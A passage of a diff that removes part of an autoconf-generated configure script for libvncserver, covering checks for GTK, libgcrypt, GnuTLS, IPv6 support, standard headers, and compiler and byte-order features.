- if test "x$ac_pt_PKG_CONFIG" = x; then
- PKG_CONFIG=""
- else
- case $cross_compiling:$ac_tool_warned in
-yes:)
-{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5
-$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;}
-ac_tool_warned=yes ;;
-esac
- PKG_CONFIG=$ac_pt_PKG_CONFIG
- fi
-else
- PKG_CONFIG="$ac_cv_path_PKG_CONFIG"
-fi
-
-fi
-if test -n "$PKG_CONFIG"; then
- _pkg_min_version=0.9.0
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking pkg-config is at least version $_pkg_min_version" >&5
-$as_echo_n "checking pkg-config is at least version $_pkg_min_version... " >&6; }
- if $PKG_CONFIG --atleast-pkgconfig-version $_pkg_min_version; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: yes" >&5
-$as_echo "yes" >&6; }
- else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
- PKG_CONFIG=""
- fi
-fi
-
-pkg_failed=no
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for GTK" >&5
-$as_echo_n "checking for GTK... " >&6; }
-
-if test -n "$GTK_CFLAGS"; then
- pkg_cv_GTK_CFLAGS="$GTK_CFLAGS"
- elif test -n "$PKG_CONFIG"; then
- if test -n "$PKG_CONFIG" && \
- { { $as_echo "$as_me:${as_lineno-$LINENO}: \$PKG_CONFIG --exists --print-errors \"gtk+-2.0\""; } >&5
- ($PKG_CONFIG --exists --print-errors "gtk+-2.0") 2>&5
- ac_status=$?
- $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
- test $ac_status = 0; }; then
- pkg_cv_GTK_CFLAGS=`$PKG_CONFIG --cflags "gtk+-2.0" 2>/dev/null`
- test "x$?" != "x0" && pkg_failed=yes
-else
- pkg_failed=yes
-fi
- else
- pkg_failed=untried
-fi
-if test -n "$GTK_LIBS"; then
- pkg_cv_GTK_LIBS="$GTK_LIBS"
- elif test -n "$PKG_CONFIG"; then
- if test -n "$PKG_CONFIG" && \
- { { $as_echo "$as_me:${as_lineno-$LINENO}: \$PKG_CONFIG --exists --print-errors \"gtk+-2.0\""; } >&5
- ($PKG_CONFIG --exists --print-errors "gtk+-2.0") 2>&5
- ac_status=$?
- $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
- test $ac_status = 0; }; then
- pkg_cv_GTK_LIBS=`$PKG_CONFIG --libs "gtk+-2.0" 2>/dev/null`
- test "x$?" != "x0" && pkg_failed=yes
-else
- pkg_failed=yes
-fi
- else
- pkg_failed=untried
-fi
-
-
-
-if test $pkg_failed = yes; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
-
-if $PKG_CONFIG --atleast-pkgconfig-version 0.20; then
- _pkg_short_errors_supported=yes
-else
- _pkg_short_errors_supported=no
-fi
- if test $_pkg_short_errors_supported = yes; then
- GTK_PKG_ERRORS=`$PKG_CONFIG --short-errors --print-errors --cflags --libs "gtk+-2.0" 2>&1`
- else
- GTK_PKG_ERRORS=`$PKG_CONFIG --print-errors --cflags --libs "gtk+-2.0" 2>&1`
- fi
- # Put the nasty error message in config.log where it belongs
- echo "$GTK_PKG_ERRORS" >&5
-
- :
-elif test $pkg_failed = untried; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
- :
-else
- GTK_CFLAGS=$pkg_cv_GTK_CFLAGS
- GTK_LIBS=$pkg_cv_GTK_LIBS
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: yes" >&5
-$as_echo "yes" >&6; }
-
-fi
- if test ! -z "$GTK_LIBS"; then
- HAVE_LIBGTK_TRUE=
- HAVE_LIBGTK_FALSE='#'
-else
- HAVE_LIBGTK_TRUE='#'
- HAVE_LIBGTK_FALSE=
-fi
-
-
-
-MINGW=`echo $host_os | grep mingw32 2>/dev/null`
- if test ! -z "$MINGW" ; then
- MINGW_TRUE=
- MINGW_FALSE='#'
-else
- MINGW_TRUE='#'
- MINGW_FALSE=
-fi
-
-if test ! -z "$MINGW"; then
- WSOCKLIB="-lws2_32"
- LDFLAGS="$LDFLAGS -no-undefined"
-fi
-
-
-# Check for libgcrypt
-
-
-@%:@ Check whether --with-gcrypt was given.
-if test "${with_gcrypt+set}" = set; then :
- withval=$with_gcrypt;
-fi
-
-
-@%:@ Check whether --with-client-gcrypt was given.
-if test "${with_client_gcrypt+set}" = set; then :
- withval=$with_client_gcrypt;
-fi
-
-
-if test "x$with_gcrypt" != "xno"; then
-
-@%:@ Check whether --with-libgcrypt-prefix was given.
-if test "${with_libgcrypt_prefix+set}" = set; then :
- withval=$with_libgcrypt_prefix; libgcrypt_config_prefix="$withval"
-else
- libgcrypt_config_prefix=""
-fi
-
- if test x$libgcrypt_config_prefix != x ; then
- if test x${LIBGCRYPT_CONFIG+set} != xset ; then
- LIBGCRYPT_CONFIG=$libgcrypt_config_prefix/bin/libgcrypt-config
- fi
- fi
-
- # Extract the first word of "libgcrypt-config", so it can be a program name with args.
-set dummy libgcrypt-config; ac_word=$2
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-$as_echo_n "checking for $ac_word... " >&6; }
-if ${ac_cv_path_LIBGCRYPT_CONFIG+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- case $LIBGCRYPT_CONFIG in
- [\\/]* | ?:[\\/]*)
- ac_cv_path_LIBGCRYPT_CONFIG="$LIBGCRYPT_CONFIG" # Let the user override the test with a path.
- ;;
- *)
- as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-for as_dir in $PATH
-do
- IFS=$as_save_IFS
- test -z "$as_dir" && as_dir=.
- for ac_exec_ext in '' $ac_executable_extensions; do
- if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
- ac_cv_path_LIBGCRYPT_CONFIG="$as_dir/$ac_word$ac_exec_ext"
- $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
- break 2
- fi
-done
- done
-IFS=$as_save_IFS
-
- test -z "$ac_cv_path_LIBGCRYPT_CONFIG" && ac_cv_path_LIBGCRYPT_CONFIG="no"
- ;;
-esac
-fi
-LIBGCRYPT_CONFIG=$ac_cv_path_LIBGCRYPT_CONFIG
-if test -n "$LIBGCRYPT_CONFIG"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $LIBGCRYPT_CONFIG" >&5
-$as_echo "$LIBGCRYPT_CONFIG" >&6; }
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
-fi
-
-
- tmp=1.4.0
- if echo "$tmp" | grep ':' >/dev/null 2>/dev/null ; then
- req_libgcrypt_api=`echo "$tmp" | sed 's/\(.*\):\(.*\)/\1/'`
- min_libgcrypt_version=`echo "$tmp" | sed 's/\(.*\):\(.*\)/\2/'`
- else
- req_libgcrypt_api=0
- min_libgcrypt_version="$tmp"
- fi
-
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for LIBGCRYPT - version >= $min_libgcrypt_version" >&5
-$as_echo_n "checking for LIBGCRYPT - version >= $min_libgcrypt_version... " >&6; }
- ok=no
- if test "$LIBGCRYPT_CONFIG" != "no" ; then
- req_major=`echo $min_libgcrypt_version | \
- sed 's/\([0-9]*\)\.\([0-9]*\)\.\([0-9]*\)/\1/'`
- req_minor=`echo $min_libgcrypt_version | \
- sed 's/\([0-9]*\)\.\([0-9]*\)\.\([0-9]*\)/\2/'`
- req_micro=`echo $min_libgcrypt_version | \
- sed 's/\([0-9]*\)\.\([0-9]*\)\.\([0-9]*\)/\3/'`
- libgcrypt_config_version=`$LIBGCRYPT_CONFIG --version`
- major=`echo $libgcrypt_config_version | \
- sed 's/\([0-9]*\)\.\([0-9]*\)\.\([0-9]*\).*/\1/'`
- minor=`echo $libgcrypt_config_version | \
- sed 's/\([0-9]*\)\.\([0-9]*\)\.\([0-9]*\).*/\2/'`
- micro=`echo $libgcrypt_config_version | \
- sed 's/\([0-9]*\)\.\([0-9]*\)\.\([0-9]*\).*/\3/'`
- if test "$major" -gt "$req_major"; then
- ok=yes
- else
- if test "$major" -eq "$req_major"; then
- if test "$minor" -gt "$req_minor"; then
- ok=yes
- else
- if test "$minor" -eq "$req_minor"; then
- if test "$micro" -ge "$req_micro"; then
- ok=yes
- fi
- fi
- fi
- fi
- fi
- fi
- if test $ok = yes; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: yes ($libgcrypt_config_version)" >&5
-$as_echo "yes ($libgcrypt_config_version)" >&6; }
- else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
- fi
- if test $ok = yes; then
- # If we have a recent libgcrypt, we should also check that the
- # API is compatible
- if test "$req_libgcrypt_api" -gt 0 ; then
- tmp=`$LIBGCRYPT_CONFIG --api-version 2>/dev/null || echo 0`
- if test "$tmp" -gt 0 ; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking LIBGCRYPT API version" >&5
-$as_echo_n "checking LIBGCRYPT API version... " >&6; }
- if test "$req_libgcrypt_api" -eq "$tmp" ; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: okay" >&5
-$as_echo "okay" >&6; }
- else
- ok=no
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: does not match. want=$req_libgcrypt_api got=$tmp" >&5
-$as_echo "does not match. want=$req_libgcrypt_api got=$tmp" >&6; }
- fi
- fi
- fi
- fi
- if test $ok = yes; then
- LIBGCRYPT_CFLAGS=`$LIBGCRYPT_CONFIG --cflags`
- LIBGCRYPT_LIBS=`$LIBGCRYPT_CONFIG --libs`
- :
- else
- LIBGCRYPT_CFLAGS=""
- LIBGCRYPT_LIBS=""
- with_client_gcrypt=no
- fi
-
-
-
- CFLAGS="$CFLAGS $LIBGCRYPT_CFLAGS"
- LIBS="$LIBS $LIBGCRYPT_LIBS"
- if test "x$with_client_gcrypt" != "xno"; then
- $as_echo "@%:@define WITH_CLIENT_GCRYPT 1" >>confdefs.h
-
- fi
-fi
-
-# Checks for GnuTLS
-
-
-@%:@ Check whether --with-gnutls was given.
-if test "${with_gnutls+set}" = set; then :
- withval=$with_gnutls;
-fi
-
-
-if test "x$with_gnutls" != "xno"; then
-
-pkg_failed=no
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for GNUTLS" >&5
-$as_echo_n "checking for GNUTLS... " >&6; }
-
-if test -n "$GNUTLS_CFLAGS"; then
- pkg_cv_GNUTLS_CFLAGS="$GNUTLS_CFLAGS"
- elif test -n "$PKG_CONFIG"; then
- if test -n "$PKG_CONFIG" && \
- { { $as_echo "$as_me:${as_lineno-$LINENO}: \$PKG_CONFIG --exists --print-errors \"gnutls >= 2.4.0\""; } >&5
- ($PKG_CONFIG --exists --print-errors "gnutls >= 2.4.0") 2>&5
- ac_status=$?
- $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
- test $ac_status = 0; }; then
- pkg_cv_GNUTLS_CFLAGS=`$PKG_CONFIG --cflags "gnutls >= 2.4.0" 2>/dev/null`
- test "x$?" != "x0" && pkg_failed=yes
-else
- pkg_failed=yes
-fi
- else
- pkg_failed=untried
-fi
-if test -n "$GNUTLS_LIBS"; then
- pkg_cv_GNUTLS_LIBS="$GNUTLS_LIBS"
- elif test -n "$PKG_CONFIG"; then
- if test -n "$PKG_CONFIG" && \
- { { $as_echo "$as_me:${as_lineno-$LINENO}: \$PKG_CONFIG --exists --print-errors \"gnutls >= 2.4.0\""; } >&5
- ($PKG_CONFIG --exists --print-errors "gnutls >= 2.4.0") 2>&5
- ac_status=$?
- $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
- test $ac_status = 0; }; then
- pkg_cv_GNUTLS_LIBS=`$PKG_CONFIG --libs "gnutls >= 2.4.0" 2>/dev/null`
- test "x$?" != "x0" && pkg_failed=yes
-else
- pkg_failed=yes
-fi
- else
- pkg_failed=untried
-fi
-
-
-
-if test $pkg_failed = yes; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
-
-if $PKG_CONFIG --atleast-pkgconfig-version 0.20; then
- _pkg_short_errors_supported=yes
-else
- _pkg_short_errors_supported=no
-fi
- if test $_pkg_short_errors_supported = yes; then
- GNUTLS_PKG_ERRORS=`$PKG_CONFIG --short-errors --print-errors --cflags --libs "gnutls >= 2.4.0" 2>&1`
- else
- GNUTLS_PKG_ERRORS=`$PKG_CONFIG --print-errors --cflags --libs "gnutls >= 2.4.0" 2>&1`
- fi
- # Put the nasty error message in config.log where it belongs
- echo "$GNUTLS_PKG_ERRORS" >&5
-
- :
-elif test $pkg_failed = untried; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
- :
-else
- GNUTLS_CFLAGS=$pkg_cv_GNUTLS_CFLAGS
- GNUTLS_LIBS=$pkg_cv_GNUTLS_LIBS
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: yes" >&5
-$as_echo "yes" >&6; }
-
-fi
- CFLAGS="$CFLAGS $GNUTLS_CFLAGS"
- LIBS="$LIBS $GNUTLS_LIBS"
-fi
- if test ! -z "$GNUTLS_LIBS"; then
- HAVE_GNUTLS_TRUE=
- HAVE_GNUTLS_FALSE='#'
-else
- HAVE_GNUTLS_TRUE='#'
- HAVE_GNUTLS_FALSE=
-fi
-
-if test ! -z "$GNUTLS_LIBS" ; then
- $as_echo "@%:@define HAVE_GNUTLS 1" >>confdefs.h
-
-fi
-
-
-# warn if neither GnuTLS nor OpenSSL are available
-if test -z "$SSL_LIBS" -a -z "$GNUTLS_LIBS"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING:
-==========================================================================
-*** No encryption library could be found. ***
-A libvncserver/libvncclient built this way will not support SSL encryption.
-To enable SSL install the necessary development packages (perhaps it is named
-something like libssl-dev or gnutls-dev) and run configure again.
-==========================================================================
-" >&5
-$as_echo "$as_me: WARNING:
-==========================================================================
-*** No encryption library could be found. ***
-A libvncserver/libvncclient built this way will not support SSL encryption.
-To enable SSL install the necessary development packages (perhaps it is named
-something like libssl-dev or gnutls-dev) and run configure again.
-==========================================================================
-" >&2;}
- sleep 5
-fi
-
-
-# IPv6
-
-
-@%:@ Check whether --with-ipv6 was given.
-if test "${with_ipv6+set}" = set; then :
- withval=$with_ipv6;
-fi
-
-if test "x$with_ipv6" != "xno"; then
- ac_fn_c_check_func "$LINENO" "getaddrinfo" "ac_cv_func_getaddrinfo"
-if test "x$ac_cv_func_getaddrinfo" = xyes; then :
- $as_echo "@%:@define IPv6 1" >>confdefs.h
-
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for getaddrinfo in -lsocket" >&5
-$as_echo_n "checking for getaddrinfo in -lsocket... " >&6; }
-if ${ac_cv_lib_socket_getaddrinfo+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lsocket $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char getaddrinfo ();
-int
-main ()
-{
-return getaddrinfo ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_socket_getaddrinfo=yes
-else
- ac_cv_lib_socket_getaddrinfo=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_socket_getaddrinfo" >&5
-$as_echo "$ac_cv_lib_socket_getaddrinfo" >&6; }
-if test "x$ac_cv_lib_socket_getaddrinfo" = xyes; then :
- $as_echo "@%:@define IPv6 1" >>confdefs.h
-
-else
-
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for getaddrinfo in -lws2_32" >&5
-$as_echo_n "checking for getaddrinfo in -lws2_32... " >&6; }
- LIBS="$LIBS -lws2_32"
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-#include <ws2tcpip.h>
-int
-main ()
-{
-getaddrinfo(0, 0, 0, 0);
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
-
- $as_echo "@%:@define IPv6 1" >>confdefs.h
-
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: yes" >&5
-$as_echo "yes" >&6; }
-
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-
-fi
-
-fi
-
-fi
-
-
-
-# Checks for header files.
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for ANSI C header files" >&5
-$as_echo_n "checking for ANSI C header files... " >&6; }
-if ${ac_cv_header_stdc+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-#include <stdlib.h>
-#include <stdarg.h>
-#include <string.h>
-#include <float.h>
-
-int
-main ()
-{
-
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_compile "$LINENO"; then :
- ac_cv_header_stdc=yes
-else
- ac_cv_header_stdc=no
-fi
-rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
-
-if test $ac_cv_header_stdc = yes; then
- # SunOS 4.x string.h does not declare mem*, contrary to ANSI.
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-#include <string.h>
-
-_ACEOF
-if (eval "$ac_cpp conftest.$ac_ext") 2>&5 |
- $EGREP "memchr" >/dev/null 2>&1; then :
-
-else
- ac_cv_header_stdc=no
-fi
-rm -f conftest*
-
-fi
-
-if test $ac_cv_header_stdc = yes; then
- # ISC 2.0.2 stdlib.h does not declare free, contrary to ANSI.
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-#include <stdlib.h>
-
-_ACEOF
-if (eval "$ac_cpp conftest.$ac_ext") 2>&5 |
- $EGREP "free" >/dev/null 2>&1; then :
-
-else
- ac_cv_header_stdc=no
-fi
-rm -f conftest*
-
-fi
-
-if test $ac_cv_header_stdc = yes; then
- # /bin/cc in Irix-4.0.5 gets non-ANSI ctype macros unless using -ansi.
- if test "$cross_compiling" = yes; then :
- :
-else
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-#include <ctype.h>
-#include <stdlib.h>
-#if ((' ' & 0x0FF) == 0x020)
-# define ISLOWER(c) ('a' <= (c) && (c) <= 'z')
-# define TOUPPER(c) (ISLOWER(c) ? 'A' + ((c) - 'a') : (c))
-#else
-# define ISLOWER(c) \
- (('a' <= (c) && (c) <= 'i') \
- || ('j' <= (c) && (c) <= 'r') \
- || ('s' <= (c) && (c) <= 'z'))
-# define TOUPPER(c) (ISLOWER(c) ? ((c) | 0x40) : (c))
-#endif
-
-#define XOR(e, f) (((e) && !(f)) || (!(e) && (f)))
-int
-main ()
-{
- int i;
- for (i = 0; i < 256; i++)
- if (XOR (islower (i), ISLOWER (i))
- || toupper (i) != TOUPPER (i))
- return 2;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_run "$LINENO"; then :
-
-else
- ac_cv_header_stdc=no
-fi
-rm -f core *.core core.conftest.* gmon.out bb.out conftest$ac_exeext \
- conftest.$ac_objext conftest.beam conftest.$ac_ext
-fi
-
-fi
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_header_stdc" >&5
-$as_echo "$ac_cv_header_stdc" >&6; }
-if test $ac_cv_header_stdc = yes; then
-
-$as_echo "@%:@define STDC_HEADERS 1" >>confdefs.h
-
-fi
-
-for ac_header in arpa/inet.h fcntl.h netdb.h netinet/in.h stdlib.h string.h sys/socket.h sys/time.h sys/timeb.h syslog.h unistd.h ws2tcpip.h
-do :
- as_ac_Header=`$as_echo "ac_cv_header_$ac_header" | $as_tr_sh`
-ac_fn_c_check_header_mongrel "$LINENO" "$ac_header" "$as_ac_Header" "$ac_includes_default"
-if eval test \"x\$"$as_ac_Header"\" = x"yes"; then :
- cat >>confdefs.h <<_ACEOF
-@%:@define `$as_echo "HAVE_$ac_header" | $as_tr_cpp` 1
-_ACEOF
-
-fi
-
-done
-
-
-# x11vnc only:
-if test "$build_x11vnc" = "yes"; then
- for ac_header in pwd.h sys/wait.h utmpx.h termios.h sys/ioctl.h sys/stropts.h
-do :
- as_ac_Header=`$as_echo "ac_cv_header_$ac_header" | $as_tr_sh`
-ac_fn_c_check_header_mongrel "$LINENO" "$ac_header" "$as_ac_Header" "$ac_includes_default"
-if eval test \"x\$"$as_ac_Header"\" = x"yes"; then :
- cat >>confdefs.h <<_ACEOF
-@%:@define `$as_echo "HAVE_$ac_header" | $as_tr_cpp` 1
-_ACEOF
-
-fi
-
-done
-
-fi
-
-# Checks for typedefs, structures, and compiler characteristics.
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for an ANSI C-conforming const" >&5
-$as_echo_n "checking for an ANSI C-conforming const... " >&6; }
-if ${ac_cv_c_const+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-int
-main ()
-{
-
-#ifndef __cplusplus
- /* Ultrix mips cc rejects this sort of thing. */
- typedef int charset[2];
- const charset cs = { 0, 0 };
- /* SunOS 4.1.1 cc rejects this. */
- char const *const *pcpcc;
- char **ppc;
- /* NEC SVR4.0.2 mips cc rejects this. */
- struct point {int x, y;};
- static struct point const zero = {0,0};
- /* AIX XL C 1.02.0.0 rejects this.
- It does not let you subtract one const X* pointer from another in
- an arm of an if-expression whose if-part is not a constant
- expression */
- const char *g = "string";
- pcpcc = &g + (g ? g-g : 0);
- /* HPUX 7.0 cc rejects these. */
- ++pcpcc;
- ppc = (char**) pcpcc;
- pcpcc = (char const *const *) ppc;
- { /* SCO 3.2v4 cc rejects this sort of thing. */
- char tx;
- char *t = &tx;
- char const *s = 0 ? (char *) 0 : (char const *) 0;
-
- *t++ = 0;
- if (s) return 0;
- }
- { /* Someone thinks the Sun supposedly-ANSI compiler will reject this. */
- int x[] = {25, 17};
- const int *foo = &x[0];
- ++foo;
- }
- { /* Sun SC1.0 ANSI compiler rejects this -- but not the above. */
- typedef const int *iptr;
- iptr p = 0;
- ++p;
- }
- { /* AIX XL C 1.02.0.0 rejects this sort of thing, saying
- "k.c", line 2.27: 1506-025 (S) Operand must be a modifiable lvalue. */
- struct s { int j; const int *ap[3]; } bx;
- struct s *b = &bx; b->j = 5;
- }
- { /* ULTRIX-32 V3.1 (Rev 9) vcc rejects this */
- const int foo = 10;
- if (!foo) return 0;
- }
- return !cs[0] && !zero.x;
-#endif
-
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_compile "$LINENO"; then :
- ac_cv_c_const=yes
-else
- ac_cv_c_const=no
-fi
-rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_c_const" >&5
-$as_echo "$ac_cv_c_const" >&6; }
-if test $ac_cv_c_const = no; then
-
-$as_echo "@%:@define const /**/" >>confdefs.h
-
-fi
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for inline" >&5
-$as_echo_n "checking for inline... " >&6; }
-if ${ac_cv_c_inline+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_cv_c_inline=no
-for ac_kw in inline __inline__ __inline; do
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-#ifndef __cplusplus
-typedef int foo_t;
-static $ac_kw foo_t static_foo () {return 0; }
-$ac_kw foo_t foo () {return 0; }
-#endif
-
-_ACEOF
-if ac_fn_c_try_compile "$LINENO"; then :
- ac_cv_c_inline=$ac_kw
-fi
-rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
- test "$ac_cv_c_inline" != no && break
-done
-
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_c_inline" >&5
-$as_echo "$ac_cv_c_inline" >&6; }
-
-case $ac_cv_c_inline in
- inline | yes) ;;
- *)
- case $ac_cv_c_inline in
- no) ac_val=;;
- *) ac_val=$ac_cv_c_inline;;
- esac
- cat >>confdefs.h <<_ACEOF
-#ifndef __cplusplus
-#define inline $ac_val
-#endif
-_ACEOF
- ;;
-esac
-
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether byte ordering is bigendian" >&5
-$as_echo_n "checking whether byte ordering is bigendian... " >&6; }
-if ${ac_cv_c_bigendian+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_cv_c_bigendian=unknown
- # See if we're dealing with a universal compiler.
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-#ifndef __APPLE_CC__
- not a universal capable compiler
- #endif
- typedef int dummy;
-
-_ACEOF
-if ac_fn_c_try_compile "$LINENO"; then :
-
- # Check for potential -arch flags. It is not universal unless
- # there are at least two -arch flags with different values.
- ac_arch=
- ac_prev=
- for ac_word in $CC $CFLAGS $CPPFLAGS $LDFLAGS; do
- if test -n "$ac_prev"; then
- case $ac_word in
- i?86 | x86_64 | ppc | ppc64)
- if test -z "$ac_arch" || test "$ac_arch" = "$ac_word"; then
- ac_arch=$ac_word
- else
- ac_cv_c_bigendian=universal
- break
- fi
- ;;
- esac
- ac_prev=
- elif test "x$ac_word" = "x-arch"; then
- ac_prev=arch
- fi
- done
-fi
-rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
- if test $ac_cv_c_bigendian = unknown; then
- # See if sys/param.h defines the BYTE_ORDER macro.
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-#include <sys/types.h>
- #include <sys/param.h>
-
-int
-main ()
-{
-#if ! (defined BYTE_ORDER && defined BIG_ENDIAN \
- && defined LITTLE_ENDIAN && BYTE_ORDER && BIG_ENDIAN \
- && LITTLE_ENDIAN)
- bogus endian macros
- #endif
-
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_compile "$LINENO"; then :
- # It does; now see whether it defined to BIG_ENDIAN or not.
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-#include <sys/types.h>
- #include <sys/param.h>
-
-int
-main ()
-{
-#if BYTE_ORDER != BIG_ENDIAN
- not big endian
- #endif
-
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_compile "$LINENO"; then :
- ac_cv_c_bigendian=yes
-else
- ac_cv_c_bigendian=no
-fi
-rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
-fi
-rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
- fi
- if test $ac_cv_c_bigendian = unknown; then
- # See if <limits.h> defines _LITTLE_ENDIAN or _BIG_ENDIAN (e.g., Solaris).
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-#include <limits.h>
-
-int
-main ()
-{
-#if ! (defined _LITTLE_ENDIAN || defined _BIG_ENDIAN)
- bogus endian macros
- #endif
-
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_compile "$LINENO"; then :
- # It does; now see whether it defined to _BIG_ENDIAN or not.
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-#include <limits.h>
-
-int
-main ()
-{
-#ifndef _BIG_ENDIAN
- not big endian
- #endif
-
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_compile "$LINENO"; then :
- ac_cv_c_bigendian=yes
-else
- ac_cv_c_bigendian=no
-fi
-rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
-fi
-rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
- fi
- if test $ac_cv_c_bigendian = unknown; then
- # Compile a test program.
- if test "$cross_compiling" = yes; then :
- # Try to guess by grepping values from an object file.
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-short int ascii_mm[] =
- { 0x4249, 0x4765, 0x6E44, 0x6961, 0x6E53, 0x7953, 0 };
- short int ascii_ii[] =
- { 0x694C, 0x5454, 0x656C, 0x6E45, 0x6944, 0x6E61, 0 };
- int use_ascii (int i) {
- return ascii_mm[i] + ascii_ii[i];
- }
- short int ebcdic_ii[] =
- { 0x89D3, 0xE3E3, 0x8593, 0x95C5, 0x89C4, 0x9581, 0 };
- short int ebcdic_mm[] =
- { 0xC2C9, 0xC785, 0x95C4, 0x8981, 0x95E2, 0xA8E2, 0 };
- int use_ebcdic (int i) {
- return ebcdic_mm[i] + ebcdic_ii[i];
- }
- extern int foo;
-
-int
-main ()
-{
-return use_ascii (foo) == use_ebcdic (foo);
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_compile "$LINENO"; then :
- if grep BIGenDianSyS conftest.$ac_objext >/dev/null; then
- ac_cv_c_bigendian=yes
- fi
- if grep LiTTleEnDian conftest.$ac_objext >/dev/null ; then
- if test "$ac_cv_c_bigendian" = unknown; then
- ac_cv_c_bigendian=no
- else
- # finding both strings is unlikely to happen, but who knows?
- ac_cv_c_bigendian=unknown
- fi
- fi
-fi
-rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
-else
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-$ac_includes_default
-int
